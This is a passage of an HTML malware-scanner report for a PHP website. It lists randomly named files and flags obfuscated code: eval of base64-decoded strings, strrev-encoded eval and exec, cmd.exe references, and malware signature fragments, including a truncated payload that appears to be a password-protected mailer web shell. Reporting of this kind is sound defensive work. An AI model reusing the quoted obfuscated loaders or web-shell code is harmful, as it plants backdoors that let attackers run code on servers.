</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_124").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ymfrr.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 26.20 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2025-02-24 03:40:05</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 15:36:24</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_125" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 891</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_125").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/hebim.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 18:34:32</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 18:34:32</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_126" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_126").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/nxbpu.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 21:16:39</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 21:16:39</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_127" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_127").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ujfsz.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:55:02</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:55:02</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_128" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_128").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/ksxiw.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:44:03</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:44:03</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_129" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
